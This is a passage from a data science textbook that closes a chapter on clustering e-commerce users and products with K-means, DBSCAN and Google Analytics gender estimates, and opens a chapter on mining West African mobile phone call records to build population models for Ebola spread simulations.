Bayesian inference as shown in Fig. 18.1. Hence, the total probability that a female
user has accessed all three products is 93%.

Equation 18.1 Bayesian inference to calculate probability of genders for users
accessing certain products.

p ¼ p1p2p3� � �pN
p1 p2� � �pN þ 1� p1ð Þ 1� p2ð Þ� � � 1� pNð Þ

p ¼ 0:68 � 0:62 � 0:8
0:68 � 0:62 � 0:8þ 1� 0:68ð Þ 1� 0:62ð Þ� � � 1� 0:8ð Þ

In order to use GA effectively, the following information needs to be kept in
mind:

• GA only provides statistical information for a certain web page if this page was at
least accessed ten times, otherwise GA does not provide any information at all.

• There are a limited number of queries that one can submit to GA for retrieving
statistical results. If the number of queries is above a certain threshold, then GA
provides summary information. Hence, there is a trade-off between the number
queries submitted and the result quality.
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In summary, GA is a good additional source to gain additional information about
anonymous users that do not require a login to access an e-commerce web page.

4 Unsupervised Machine Learning Approach to Cluster
Users and Products

In order to analyze the access patterns of the end-users and to better understand their
needs, we applied various clustering algorithms, that is, unsupervised machine
learning approaches. The most commonly known clustering algorithms usually are
either centroid-based or density-based. Centroid-based clustering algorithms such as
K-means (MacQueen 1967) and canopy clustering (McCallum et al. 2000) represent
their data points as well as the cluster centroids as feature vectors. In density-based
clustering algorithms such as DBSCAN (Ester et al. 1996), on the other hand,
clusters are defined as areas of higher density than the rest of the dataset and
therefore only the distance between the data points has to be known. For the user
clustering and the product clustering based on ingredients, where we have feature
vectors, we decided to use K-means as well as its adaptation canopy clustering due to
their simplicity as well as due to their scalable implementation provided by Apache
Mahout (Apache Mahout). For the product clustering using click paths, where we
only defined a distance between the products, we decided to use the most commonly
known density-based clustering algorithm, DBSCAN.

In the remainder of this section, we will explain these approaches in more detail,
provide insights why we have chosen these algorithms and report on the experiences
we gained by applying them to our use case.

4.1 User Clustering Using K-Means

In order to make particular recommendations about better or more sustainable
products, we clustered the users based on their browsing behavior.

Before we could apply a clustering algorithm, we needed to perform feature
engineering. In particular, we represented each user with a feature vector that
consists of two parts (see Fig. 18.11). The first part is built by 12 complex,

Fig. 18.10 Gender probabilities of a user who accessed three different products. The green arrows
indicate the access path from product A to B and C
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aggregated features, such as a flag to denote the channel,2 the gender probability
(provided by GA), the number of visited product categories, the number of generated
events, the number of visited products, etc. The second part of the feature vector
consists of binary features for each product category, which is 1 when the category
was visited and 0 otherwise.

We used K-means applying the cosine distance measure. We will now explain the
choice of this measure.

In K-means every cluster is represented by its centroid, which is the mean vector
of the data points that belong to the cluster. Hereby, the cluster assignments can be
computed as a nearest neighbor classifier that assigns each data point to its nearest
centroid. The objective function of K-means minimizes the sum of squares of the
data points to their closest centroid. The distance function between the data points
and the centroids can be chosen based on the characteristics of the feature vectors of
the data points. Since our feature vectors contain different kinds of feature types, it is
not obvious which distance function fits best. Therefore, we ran and evaluated
experiments with the Euclidean distance as well as with cosine distance and found
that the latter led to better results. This is in accordance with theory, that predicts a
worse performance for the Euclidean distance due to the curse of dimensionality,
since our feature vector is quite high-dimensional. We also evaluated different
numbers of clusters and found that using 20 clusters results in reasonable customer
groups and is still small enough that it is possible to grasp them as a human.

The evaluation of the user clustering (and unsupervised learning tasks in general)
is challenging since no ground truth exists and the quality assessment has to be done
by a domain expert. However, already when inspecting a few clusters, the suggested
groupings could help us in better understanding the users, as we will show below.

In the following, we describe 3 of the 20 customer groups extracted by the K-
means algorithm. The descriptions are basically the centroids converted to natural
language.

Fig. 18.11 Feature vector that represents a user

2A channel indicates whether the user has accessed the web page via an app or via a web page.
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• Cluster 1: Predominantly women that spend on average 50 min in the mobile
phone application. They compare products of the categories “Media and Books”
as well as “Hobby and Leisure Time.”

• Cluster 2: Solely women that search for cosmetic products such as personal
hygiene, face care, hair styling, and hair care with an average visit duration of
40 min.

• Cluster 3: Women as well as men quickly (average of 10 min) checking the
ingredients of candies, nuts, and other snacks.

These findings can be used to recommend certain products that are popular in a
particular user cluster.

4.2 Product Clustering Based on Click Paths

The products in the application are already categorized manually into very broad
categories. However, the categories are not narrow enough to be used in a recom-
mendation algorithm that suggests healthier product similar enough to be a true
alternative for the user. Therefore, we introduced a method that clustered the
products of a specific category into several smaller subclusters.

We observed that users already quite often use the application to compare
products and their ingredients. We therefore grouped products together that have
been compared to each other in the past, that is, appear in the same click path. To
achieve this, we defined a distance formula between two products (A and B) as
follows:

d A,Bð Þ ¼ # A [ Bð Þ 2 Clickpath
#A 2 Clickpath þ #B 2 Clickpath

2

It is basically the ratio between how many times the two products A and B appear
in the same click path and the average number of click paths that contain either of the
products. The average ensures that the distance measure is symmetric, that is, d(A,
B) ¼ d(B, A).

The distances between the products can either be represented as a distance graph
or to compute a distance matrix that contains the distance of each product to each
other product in the category. We use DBSCAN to cluster the products in the matrix
into groups.

Figure 18.12 shows a visualization of the clustering for the “Makeup” category.
The category contains 4479 products that were subdivided into 70 clusters. The
figure shows the subset of the largest clusters. Herein, we selected the maximum
distance between two samples to be considered in the same neighborhood (eps), so
that the number of generated clusters is maximized. The minimal number of points
(minPoints) in a cluster was set to two. Those DBSCAN parameters help to find a lot
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of rather small clusters with very similar products, which was the main goal of the
clustering.

The clustering resulted in 69 small clusters and one large cluster that contains all
the products that are rarely visited and therefore the similarity to other products
cannot be determined by the algorithm. The other clusters often contain a lot of
products with the same brand, which mostly also defines a price segment. Appar-
ently, when choosing a makeup, customers like a specific brand and then try to find
the best product within that brand. Other clusters contain multiple brands that offer
products in the same price segment and with a similar target audience.

•    Mary kay cc cream

•    Lacura Beauty Make up

•    La Prairie Make-up Foundation Powder

•  Manhattan - 2 in 1 Perfect
   Teint Powder & Make up,
   Sunbeige 21

•  2in1 Perfect Teint Powder
   & Make Up

•  Manhattan Soft Compact
   Powder

•    La Prairie Make-up Anti-Aging
•    La Prairie Skin Caviar Concealer Foundation
•    Sisley Make-up Teint Phyto Touche Or
•    La Prairie - Light Fantastic

•    Sisley - phyto teint eclat
•    Sisley Phyto Teint Perfect Compact Lissant

•    Lacura Beauty– Compact Powder

•    Lacura Beautycare Make up beige
•    Lacura Compact Powder

•    Lacura Beauty Feuchtigkeits-Make-up
•    LACURA BEAUTY Make-Up

•    Mary Kay Concealer
•    Mary Kay Luminous-
      Wear

•    Mary Kay Foundation
      Primer

Fig. 18.12 Results of product clustering based on DBSCAN
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5 Conclusions and Lessons Learned

The market monitoring use case was very challenging (see lessons learned below)
and a good example of a data science project requiring many different skills ranging
from data warehousing to data analysis and machine learning. The main success
factors have been in designing and implementing an efficient data warehouse and in
applying machine learning methods that can cope with various data quality issues.
The main benefits of the project were that the industry partner got a very powerful
end-to-end system that enables analyzing both the popularity of products as well as
the customer behavior. Moreover, the system also helped in engaging new customers
and laid the groundwork for designing healthier or more sustainable products based
on a detailed analysis on customer preferences.

The main lessons learned of implementing this use case are as follows:

• Data warehouse design and implementation: Plan considerable amount of time
and resources for the design and implementation of the data warehouse. It turned
out that some 80% of the time over the whole use case was spent on building the
data warehouse, including tuning the performance of SQL statements for loading
and querying the data. In short, designing and building a small database applica-
tion is pretty straightforward. However, efficiently managing a database with
dozens of tables that contain more than 107 records is nontrivial and requires
careful database tuning and query optimization.

• Data quality: Since the products of our e-commerce platform were entered
manually by the end-users according to a crowd-sourcing approach, the data
quality differs substantially between the products. For instance, some products
contain detailed information on ingredients while other products contain very
little or wrong information. Moreover, since both the number of unique users and
products is in the order of tens of millions, a large percentage of products were
only accessed a few times. Hence, we had to deal with very sparse data, which
had significant impact on the analysis methods. In particular, we only provided
analysis results for products having at least ten clicks.

• Data enrichment to get information about anonymized users: Google Ana-
lytics is a good additional source to gain additional information about anonymous
users that do not require a login to access an e-commerce web page. However,
one needs to accept certain data quality issues that cannot be thoroughly quanti-
fied. Hence, the statistical results of gender and age groups can only be considered
as rough estimates with unknown error bars. However, to get a better insight into
the platform users, this information is certainly helpful.

• Unsupervised machine learning: In order to evaluate the access patterns of our
end-users, we applied various unsupervised machine learning algorithms. The
main challenge with these approaches is that a human needs to interpret and
evaluate the results. For instance, in our case the clustering algorithms produced
some 25 clusters where each of the clusters contained between ten and a few
thousand products. For a human it is very challenging to evaluate clusters with
thousands of entries. We thus applied a sample-based cluster verification
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approach and analyzed in detail a subset of the clusters jointly with our industry
partner. We have chosen the samples based on products that were accessed most
frequently.
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Chapter 19
Mining Person-Centric Datasets for Insight,
Prediction, and Public Health Planning

Jonathan P. Leidig and Greg Wolffe

Abstract In order to increase the accuracy and realism of agent-based simulation
systems, it is necessary to take the full complexity of human behavior into account.
Mobile phone records are capable of capturing this complexity, in the form of latent
patterns. These patterns can be discovered via information processing, data mining,
and visual analytics. Mobile phone records can be mined to improve our under-
standing of human societies, and those insights can be encapsulated in population
models. Models of geographic mobility, travel, and migration are key components of
both population models and the underlying datasets of simulation systems. For
example, using such models enables both the analysis of existing traffic patterns
and the creation of accurate simulations of real-time traffic flow. The case study
presented here demonstrates how latent patterns and insights can be (1) extracted
from mobile phone datasets, (2) turned into components of population models, and
(3) utilized to improve health-related simulation software. It does so within the
context of computational epidemiology, applying the Data Science process to
answer nine specific research questions pertaining to factors influencing disease
spread in a population. The answers can be used to inform a country’s strategy in
case of an epidemic.

1 Introduction

Person-centric information generated by emerging data sources (e.g., IoT, sensors,
mobile devices, and web traffic) represents a new and entirely different form of
information than previously available. Content such as large, aggregated datasets of
Call Data Records (CDRs) generated from mobile phones provide a reliable source
of real-time, verified observations. CDR datasets provide extremely high-resolution,
geo-temporal details that are not found in other human-centric sources. In compar-
ison with the historical utilization of static information as collected via surveys,
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census, and focus groups (United States Department of Commerce 2017), these
emerging dynamic data sources provide a more detailed and verifiable basis for
making predictions, identifying events, and measuring the effects of policy decisions
and actions.

In the health and life sciences, the goal is to optimize solutions and policies for
problems such as successfully mitigating epidemics (Barrett et al. 2005). Large CDR
datasets can be mined for patterns of human demographics, population density, and
geospatial mobility (Vogel et al. 2015). In public health research, models built from
CDR datasets can be used to improve the modeling and simulation of disease spread
by using these more detailed and verifiable representations of human behavior (Jiang
et al. 2015). Conducting well-informed simulations and analyzing the results directly
impacts the prediction of epidemics and is critical for planning appropriate mitiga-
tion strategies.

In this chapter, we describe how data processing and advanced analytics were
utilized to gain insights and generate models from latent data in large mobile phone
datasets. The following sections on modeling and simulation, human-centric
datasets, data processing, clustering, model building, and visualization demonstrate
our approach to provide answers to the kind of questions that are required in order to
build population models and simulation systems.

2 Modeling and Simulation in Health

Computational epidemiology involves the use of computing to study the health of a
population. In this field, simulation systems provide a means of predicting real-world
outcomes based on a given input scenario. An example input scenario might be a
single, initially infected individual arriving at an airport in a large city; the simulation
would attempt to predict the potential diffusion of the disease throughout a geo-
graphic region. Simulation systems are developed for modeling and simulating a
specific disease type (e.g., contagious, vector-borne, or sexually transmitted). The
simulation system requires an epidemiology disease model, generally a variant of a
compartmental model with Susceptible, Infected, and Removed (SIR) disease states.
Some simulation systems are based on ordinary differential equations (ODE), which
are used to estimate the prevalence and rates of change between disease states for a
given population. Many other simulation systems are based on stochastic, agent-
based, and discrete event models (Barrett et al. 2008; Bisset et al. 2009; Chao et al.
2010). Agent-based simulation algorithms rely on graph theory, and the agents in
these models (e.g., humans, livestock, wildlife) require individualistic information
and decision-making abilities. Calibrating these agent-based models with the real-
world scenarios they represent requires realistic networks and intelligent behavior by
the agents.

The Data for Development Challenge health project that serves as a use case here
utilized human-centric datasets to generate realistic agent-based models. With ver-
ified and quantitative mobile phone datasets, we employed modern mining tech-
niques to answer specific questions and gain the insights that are needed to develop
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accurate population models. CDR datasets provided details that informed population
and activity models (e.g., where people live, travel, and migrate). These models were
combined with additional information such as reports and statistics of monitored
disease prevalence at regional and national levels to create more realistic simula-
tions. Simulations based on these improved models were expected to provide more
realistic results in terms of disease progression and spread.

This project consisted of an effort to model and simulate the spread of infectious
diseases (primarily Ebola) in West Africa (Côte d’Ivoire and Senegal) in order to
provide quantitative support for public health policies being set by the Ministry of
Health of several countries and world organizations (Vogel et al. 2015). The effort
required datasets for the populations that reside in West Africa along with a
simulation engine that predicts the potential spread of a disease based on a given
scenario. Preventing and mitigating an epidemic is heavily dependent on public
health planning and policies.1 Local and national governments’ responses to an
emerging outbreak are guided by research on the predicted impact of a given set
of policies. The project improved simulation software that is utilized to set public
health priorities and policies (via developing more realistic human agents). Govern-
mental and private agencies have long been tasked with decision making in this area.
The improved simulation software provides quantitative evidence from large studies
(thousands of simulations for each specific scenario) based on more rigorous and
realistic health, mathematical, and computational models.

3 Data Characteristics

Because of its promise in illuminating human mobility patterns, mobile phone
communication (i.e., CDR) data has the potential to aid in understanding human
behavior. It can inform researchers as to where people actually live, work, and travel,
how they react to major events, and provide temporal data about daily commutes,
seasonal migrations, and population shifts. However, there are inherent difficulties in
obtaining and using this new form of data. Obvious issues emerge regarding privacy,
given the capability of using the data to track movements of individuals and to
potentially reveal sensitive information. Questions arise about the ethics of using
such data, especially when applied to private information such as health and medical
records. There is also the challenge of establishing that these new types of data, and

1Computational epidemiology aims at discovering novel insights, predicting events, experimenting
with and optimizing scenarios, planning strategies, and setting policies. Mitigation strategies are
used to limit and potentially eradicate a given disease from a population based on selective
interventions. These strategies might include vaccine and antiviral distributions, isolating infected
individuals, closing schools, closing sporting and large events, closing political borders, and
limiting economic activity. Responding to an epidemic in practice requires advanced planning to
set the mitigation policies, determine when and where to react, what to stockpile, how to distribute
allocations from stockpiles, and many other factors.
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hence the benefits that may accrue from analyzing it, become openly and globally
accessible.

To address this latter issue, Orange Telecom instituted the Data for Development
(D4D) Challenge, an open competition intended to contribute to the socioeconomic
development and well-being of several West African countries (Côte d’Ivoire and
Senegal, to date) by providing access to large, anonymized mobile phone datasets for
purposes of scientific research.2 The datasets are based on billions of anonymized
CDRs of phone calls and SMS exchanges between millions of Orange Telecom’s
customers in West Africa, providing high-resolution temporal and geospatial detail.
This dynamic, up-to-date surveillance supersedes much existing knowledge. Tradi-
tional population modeling, in any country, is often based on outdated, static, or
nonexistent census and survey data; it uses on-the-ground contacts in specific,
individual locations that may or may not be generalizable across a large region;
and it is often not available from remote areas.

The datasets were collected from a subset of Orange Telecom customers over a
period of 5 months (Côte d’Ivoire) and one full year (Senegal). Some preprocessing
was conducted to completely anonymize the identity of users, eliminate redundant
information, filter “uninteresting” users (i.e., those who never traveled out of range
of their home cellular tower), and slightly obfuscate exact antennae locations
(to preserve commercially proprietary information). The resulting datasets were
also considered proprietary information, which required the use of Non-Disclosure
Agreements and measures such as secure server hosting and restricted access.

CDRs typically have the following format:

Timestamp Caller id Callee id Call duration Antenna code

The records are usually organized chronologically. Because of size constraints,
they are stored in a number of flat files that span the observation period. They
represent various customer activity recordings.

The recorded spatial and temporal metadata were composed of discrete, recorded
events and did not continuously sample user location. In other words, the datasets
contain spatial observations of users only at those moments when calls and texts
were placed or received. From this raw data, information can be mined as follows:

• Antenna-to-antenna traces on an hourly basis
• Individual user trajectories for a short duration (2-week time windows) with high-

resolution spatial information (antenna locations)
• Individual user trajectories for a long duration (over the entire observation period)

with low-resolution spatial information (sub-prefecture or arrondissement
locations)

• Short duration (2-week time windows), limited (2-hop) customer communication
graphs

2www.d4d.orange.com
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The use of short duration observations or low spatial resolution is intended to
further anonymize subscriber identity. Subsequent sections describe how CDRs can
be mined at a variety of geospatial and temporal granularities to derive population
models, activity models, and human mobility patterns.

4 Analyses and Mining

Human-centric content contains both obvious and subtle patterns. Finding obvious
patterns reinforces trust in and understanding of a dataset—for example, most sub-
scribers within a mobile phone dataset would be expected to place and receive far
fewer phone calls in the middle of the night than during business hours. Less obvious
patterns can be identified when analysts use algorithms capable of revealing con-
nections without user guidance. These less obvious patterns are often unexpected,
novel, or poorly understood prior to the analysis. For example, mobile phone
datasets directly provide insight into the specific commercial areas of a large city
that spectators frequently visit before and after a major sporting or entertainment
event.

In this project, a wide range of data science approaches were applied as a
workflow of increasing complexity. Each component built upon prior components,
resulting in a composition of processes that provided output as input to subsequent
components (see Fig. 19.1 for the workflow utilized in this project). The following
three subsections detail the (1) data processing, (2) clustering, and (3) modeling and
visualization aspects of our project. In order to construct realistic population models,
these three tasks were performed to answer a series of questions, grounded in latent
patterns observed within CDR records. The following sections are structured based
on these nine research questions the project attempted to answer.

Similar analyses were conducted for each country within the West Africa
datasets. The following discussion interleaves representative examples and visuali-
zations from each of the countries that were studied.

Fig. 19.1 Pipeline of tasks (workflow) that led to improved understanding of human activity and
generated models of human behavior from the patterns latent in raw mobile phone datasets
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4.1 Data Processing

Human-centric data includes numeric values and free text, contains continuous
ranges and discrete values, is gathered automatically by sensors or is provided
directly by humans, may be human or machine readable, and may be highly accurate
to fuzzy or inexact. One collection may consist of the exact times and cell tower
locations of an individual’s phone call as collected by the commercial cellular
infrastructure. Another collection might contain short, unstructured tweets about
influenza, sickness, and illness as collected via social media or web scraping within a
health and epidemic monitoring application, for example, Google and Twitter
(Ginsberg et al. 2009). Data processing is often the first step in making sense of
large volumes of varying types of data.

Question 1: Can the Data Tell Us Where Individuals Reside?
A technique used in data processing is the selection, extraction, and storage of
subsets of a full raw dataset for more efficient analyses by subsequent processes.
Studying a specific user’s behavior as captured in a mobile phone dataset is
computationally faster if that user’s records have previously been indexed and
aggregated separately from the datastream of the entire subscriber base. Of course,
this efficiency comes at the expense of a larger storage footprint, requiring analysts
to balance the storage costs against the computational costs of regenerating the
content again given the likelihood of potential reuse of the intermediate information.

Data processing provided a quantitative means of attempting to answer the first
research question. An (imperfect) assumption is that calls made late in the evening,
overnight, and in the early morning hours likely originate from an individual’s home
location. As implied by Fig. 19.2, the process involved question formation, extrac-
tion of the required information, storage of the intermediate subset data, analysis,
human review of the results for the purpose of gaining insights, and staging of the
question answering procedure and code for reuse in the future.

In the course of the project, a subset of phone records corresponding to a given
subscriber (ego) was extracted through data processing. The extracted subsets
constituted the underlying data necessary for answering the following scenarios:

• Where does an individual (ego) spend most of her/his time?
• Where does the ego travel throughout the working hours of the day?
• How often does the ego travel?

Fig. 19.2 Extraction of pertinent subsets from a raw dataset in support of a given question. In this
example, a specific user’s most frequently used mobile antenna is identified, providing individual-
ized location information
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• When does the ego travel?
• Did the ego migrate to a new location sometime during the year?
• What are all of the ego’s weekday and weekend movement patterns (i.e., the

series of movements between antennas that comprise an ego’s behavior)?

Due to the multiple question scenarios and expected reuse of the content, it was
advantageous to generate and store intermediate, ego-specific subsets of records.
This step involved simple tasks, as demonstrated in Fig. 19.2: filtering the raw data
by user ID and call location/time. Although this type of mining could have been
performed via a database, the choice was made to employ a suite of Python scripts.
Python is free, intuitive, and benefits from a wide range of powerful libraries and
modules. It is well-suited for the large, flat-file format of the raw data. In addition,
because the task involved relatively simple processing of extremely large data files,
it is also quite suitable for distributed processing. Hence, the original Python scripts
were converted to run under Spark,3 an in-memory version of the Hadoop distributed
computing framework.4 This approach allowed for concurrent execution on a small
(~64 node) virtual cluster, using aggregated distributed memory, resulting in signif-
icant speedups for the processing of billions of records. An additional benefit is that
the PySpark scripts are “cloud-ready” in the event more processing power is required
in the future.

4.2 Advanced Analysis

Going beyond basic data processing, analysis techniques such as clustering (Jain
et al. 1999) were used to discover relationships in the data. In the D4D analysis of
Côte d’Ivoire, the goal was to mine the dataset for information that could help public
health officials develop more effective strategies for limiting the spread of infectious
diseases. After using cell tower proximity data to situate subscribers (i.e., to deter-
mine their “home” location), clustering algorithms were then applied to identify
groups of individuals expressing similar mobility patterns. The idea was that dis-
covering knowledge about dynamic population densities could lead to better-
informed public health interventions such as quarantine and isolation decisions.

Question 2: What Hidden Patterns Exist in the Data?
Since we were looking for hidden patterns and did not know in advance a good
value for the number of clusters (k), hierarchical clustering (Sneath and Sokal 1971)
was applied as a first step. The analysis targeted the prefecture administrative
units of Côte d’Ivoire. As described above (see Sect. 4.1), the large raw datasets
had previously been mined and filtered using Spark-based Python scripts to distill
a much smaller file containing aggregate counts of calls between prefectures.

3spark.apache.org
4hadoop.apache.org
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In effect, this distributed approach was necessary only for the preprocessing
steps (mining, filtering, aggregation). The resultant file, of manageable size, could
then be efficiently clustered using the existing Python module scipy.cluster.
hierarchy. The distance metric was defined as the total number of calls made
between any two prefectures. The output of the agglomerative clustering was used to
create color-coded maps; ranging from k ¼ 1 cluster (the entire country) to k ¼ 255
clusters (each prefecture is its own cluster). This resulted in one clustering (k ¼ 7)
that roughly corresponded to third-party maps identifying the ethno-linguistic
groups in the country (see Fig. 19.3). The objective, quantitative CDR-based metric
(number of calls between regions) revealed the same patterns of connectedness as
groupings based on culture (e.g., religion, ethnicity, and language). This provided

Fig. 19.3 K-means clustering (where k ¼ 7) of Côte d’Ivoire administrative units (prefectures).
The distance function between two locations is based on the number of calls between the two
locations
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some validation of the dataset and of the efficacy of using calls/texts as indicators of
human behavior, and is also directly related to our health analysis project: given that
people tend to rely on family and other social groups in times of crisis, this
information helped identify likely group migration and disease diffusion effects in
the event of an epidemic.

Question 3: Does the Data Show Travel Patterns?
In observation of the CDR population densities by prefecture, as estimated by
subscriber base, it was evident that the population in some sub-prefectures was
more mobile than other sub-prefectures. Therefore, estimates of the risk of disease
spread between sub-prefectures should not rely on population density only but
should also consider mobility and social mixing patterns. CDR datasets were first
preprocessed using Python scripts to distinguish two major population groups: static
users who made all of their calls in a single sub-prefecture and dynamic users who
made a call in at least two sub-prefectures. The dynamic population is of particular
interest in terms of potential geographic disease transfer.

Next, key sub-prefectures (those containing a border, airport, major city, hospital,
clinic, or pharmacy) were identified. A pattern matrix of the user IDs of the dynamic
population indexed by “key sub-prefectures visited” was generated and subse-
quently analyzed using Python’s sklearn.cluster.KMeans module.
K-means clustering (MacQueen 1967) of the dynamic population by shared,
frequented sub-prefectures was performed. The goal was to find common subscriber
mobility patterns (i.e., to identify sub-prefectures with a high degree of travel
between them). Therefore, the definition of distance used in the clustering algorithm
was based on the number of individual subscribers observed to have traveled
between two sub-prefectures. The number of clusters, k ¼ 7, was chosen based on
the results of the agglomerative clustering described above.

The clusters of highly mobile, commonly visited sub-prefectures were seen to
overlap at multiple locations with the key sub-prefectures containing important
infrastructure. By identifying prefectures with a high degree of intra-prefecture
mixing and travel, this analysis helped identify the most effective locations for
interventions in the event of an epidemic. In terms of health policy, well-formed,
targeted containment and mitigation strategies slow disease spread and buy time for
inoculation and treatment of the population.

Question 4: How Can We Reduce “Noise” in the Data?
Other types of clustering were used for different purposes, such as cleaning the data.
As a specific example, sklearn.cluster.DBSCAN, a density-based spatial
clustering algorithm (Ester et al. 1996), was used to cluster antenna locations in an
effort to reduce noise. Consider a user who lives right on the border between two
antenna ranges. Because CDRs report the antenna at which a call originates, this
individual might be seen to have “traveled” between cell towers without actually
doing any physical movement other than walk around their house. This was consid-
ered noise in the dataset as it did not represent true user mobility. DBSCAN was
employed with a minimum threshold of 500 m to discover and merge any spatially
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close antennas. In effect, they were then considered a single antenna location for
purposes of defining active mobile subscribers (i.e., the dynamic population).

4.3 Abstract Representation: Modeling and Visualization

The ultimate goal of the project was to model and then simulate, in silico, the
progression of disease within a single human host and the propagation of that disease
across a dynamically moving and mixing population of hosts. In order to accurately
simulate these processes, models were needed at multiple levels of the host popula-
tion. Unfortunately, standardized tools or formats for population models did not
exist. We therefore created population models consisting of a variety of structures
such as statistical distributions, matrices, network graphs, finite state machines, and
Markov chains. As an example, statistical distributions were utilized to record the
time at which calls were made throughout the day. Matrices were often used to
aggregate data points, such as the number of calls made between antennas i and j.
Graphs were used to highlight the interconnectivity between data points, such as the
social network of users that call each other. Finite state machines were used to store
abstract states, such as the progression and viral load of an individual infected with
the Ebola virus as they became infected, remained infectious, and recovered from the
disease. Markov chains were used to capture the probability of transitions between
states, such as the likelihood of moving between all possible pairs of antenna i to
antenna j. These structures provided a mechanism for first capturing population
dynamics and later analyzing a variety of latent patterns within the datasets. The
population models were built upon earlier data processing, clustering, and noise
reduction tasks and then served as the underlying input files for several public health
simulation systems. The dynamic, time-varying population and mobility models
were constructed via answering the following questions.

Question 5: What Population Density and Census Levels Were Observed
Throughout the Year?
The raw datasets were processed (as outlined in Sect. 4.1) in order to calculate the
number of concurrent individuals near each cellular antenna at 10 min intervals.
Individuals were assumed to remain at their last observed location. Infographics
were used to verify our basic assumptions of the CDR datasets and our derived
insights before incorporating data mining results into population models—see
Fig. 19.4 for a high-level overview of the census model, aggregated to countrywide
home and work locations. A day-by-day recalculating of an ego’s home identified
long-term travel and migration and was then stored in a vector of the dynamic ego’s
time-varying home location. The vectors for all egos’ time-varying home locations
were combined into a matrix containing time-varying features (columns) for all egos
(rows). This full matrix contained all of the “permanent” movements by individuals
over the course of a year. Similar visualizations and underlying matrices were
produced for travel, transportation, migration, holidays, and weekend leisure.
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Visualizations were used to validate the underlying data and matrices. The density
and census insights formed the underlying location models for the simulation system
case study, at fine-grained 10 min intervals for an entire year.

Question 6: What Were the Daily Behavior Patterns for Each Ego?
The full set of observations for a single ego was extracted from the raw dataset. The
geo-temporal nature of an ego’s behavior was used to classify antenna locations,
trips, and activities (see Fig. 19.5). From an ego’s records, it was possible to define
and determine attributes for the ego. As examples, records were used to determine
the ego’s home location (defined as the place most often located from 7 pm to 7 am),
workplace, work schedule, routes taken throughout the local area, holiday travel,
weekend social trips, etc. These numerous individual-based patterns formed the
underlying daily schedules and activity model for the simulation system case study.

Question 7: What Were the Mobility Patterns of Egos and the Aggregated
Population?
Geospatial mobility indicates commercial activity, leisure activity, transportation
and movement patterns, trips taken, seasonal migration, and long-term migration.
The interactive chord diagram in Fig. 19.6 gives a complete view of aggregated
migration between arrondissements in Senegal. The interactive visualization allows
for selectively viewing a specific arrondissement, providing both a “big picture” and
a detailed view down to the level of a single individual’s movements. As an example,
1120 egos traveled to 21 other locations from Parcelles Assainies, Senegal during the
time period selected in Fig. 19.6. The movement patterns for an ego were then
assigned to a set of agents in our synthetic population models. The daily behavior
patterns from the previous question provide details on every trip and path taken by
individuals. A call at location A followed by a call at location B indicated a trip from
A to B occurred during the elapsed time period. These patterns were extracted to
identify daily schedules at the ego level and travel patterns at the population level

Fig. 19.4 Histogram on left displaying the home (dark) and work (light) locations of individuals at
each cell tower throughout the Dakar capital region of Senegal, generated in ArcGIS (http://www.
esri.com/arcgis). This visually illustrates large-scale daily commute patterns as people move
between work and residential areas
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Fig. 19.5 Temporal visualization displaying the day, time, and location of every call for a given
user—a polar coordinate graph generated in Python based on SpiralView (Bertini et al. 2007). Day
0 is represented as the innermost ring of the diagram; day 14 as the outermost ring. The 24 h are
represented as a “clock.” The antenna-based location of the user is represented by distinct colors.
The proliferation of calls made at a specific antenna between the hours of 9 pm and midnight
suggest the user’s home was at that location

Fig. 19.6 An interactive chord diagram displaying migration from one arrondissement (labels
hidden for clarity) to another in Senegal, generated with JavaScript and D3.js (https://d3js.org). The
fully connected graph (left) was used to investigate the movement, mixing, and migration relation-
ships between geographic areas. Selecting a specific arrondissement (Parcelles Assainies, right)
applies a filter, showing incoming and outgoing migration for the selected arrondissement only. The
width, color, and tooltips (not shown) provide additional features and statistics for each edge in the
graph, allowing researchers to, for example, selectively investigate seasonal migration between
agrarian arrondissements
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(see Fig. 19.7). These patterns were composed of both daily mobility patterns (e.g.,
commuter traffic in large cities and public transportation routes) and long-term
mobility (e.g., seasonal relocation and population shifts). These numerous
individual-based patterns formed the underlying movement models for the simula-
tion systems case study.

Question 8: How Did Egos Come into Contact and Mix?
Networks (also called graphs) were well-suited for representing natural human
circumstances and mixing. In mobile phone datasets, social networks are formed
based on communication and colocation between users. Location networks are
formed to describe an ego’s probabilistic patterns of geo-temporal movements.
Graphs were developed in this project for social connections, disease progression
states, and travel. These graphs made up a large component of our population
models. Figure 19.8 displays the two-hop social network for a given ego in the
Côte d’Ivoire dataset, providing insight into the mixing, communication, and inter-
action between this individual and other agents. Similar graphs were utilized to
determine the set of users colocated at a given antenna for a particular time period.
These social networks formed the underlying mixing models for the simulation
systems case study.

Fig. 19.7 Geospatial layout of the graph of cellular antennae in Côte d’Ivoire, generated with
Python and matplotlib (http://matplotlib.org). Edges were weighted based on the observed travel
between locations. Much of the country’s traffic was centered around the port city, Abidjan (bottom
right), and moving up to the capital city, Yamoussoukro
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Question 9: How Suitable Were the Constructed Models for Typical Simulation
Systems?
The ultimate purpose of the abstract models was to serve as input to large-scale,
agent-based simulation systems (Barrett et al. 2008; Bisset et al. 2009; Chao et al.
2010; Vogel et al. 2015). The models were designed to contain the daily movements
of 13 million synthetic agents, based on real-world CDR datasets. Using the abstract
models, synthetic agents were assigned a statistically valid profile (e.g., living within
a particular suburban cell tower range and traveling with a given pattern within a
nearby city). Thus, each of the abstract models “drove” a specific aspect of the
simulation.

Animations were used to gain a better appreciation of the trends expressed in the
raw data and its extracted patterns over time. Animations of simulation results
demonstrated and verified that the underlying populations models were sufficient
for simulation software requirements. They were automatically generated and inte-
grated as part of our analysis pipeline (see Fig. 19.9). However, animations were
time-consuming and human-intensive to review, without knowing beforehand which
individuals or simulation runs would be interesting. For example, some egos were
extreme outliers in terms of the number of locations they visited throughout the day,
the differences in their weekday versus weekend behavior, or where they lived
throughout the year. After identifying outlier egos, geospatial animations provided
a better understanding of their unique movement patterns and effect on simulations.

Fig. 19.8 Graph visualization of the 2-hop network based on direct phone calls between pairs of
users (i.e., the friends and friends of friends) for ego “1” using Python visualization packages
(https://networkx.github.io and https://pygraphviz.github.io). Note that this individual has several
well-connected friends
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5 Lessons Learned

Constructing high-resolution models that are statistically equivalent to a real-world
population remains a challenging task. Latent patterns of geospatial, temporal, and
behavioral significance were contained in CDR datasets. Data processing, data
mining, machine learning, and visual analytics techniques were used to generate
synthetic populations and models that served as inputs to simulation software.

• Data processing: Exponential combinations and permutations made it difficult to
find a suitable balance between storage costs and computational costs. With
millions of individuals and billions of records, loading and processing even
subsets of the raw dataset required several hours of compute time. Simple
calculations and transformations on the full dataset took several days when
performed on sequential environments. Therefore, parallel algorithms and
toolkits (e.g., Spark) were employed to reduce the computational costs of
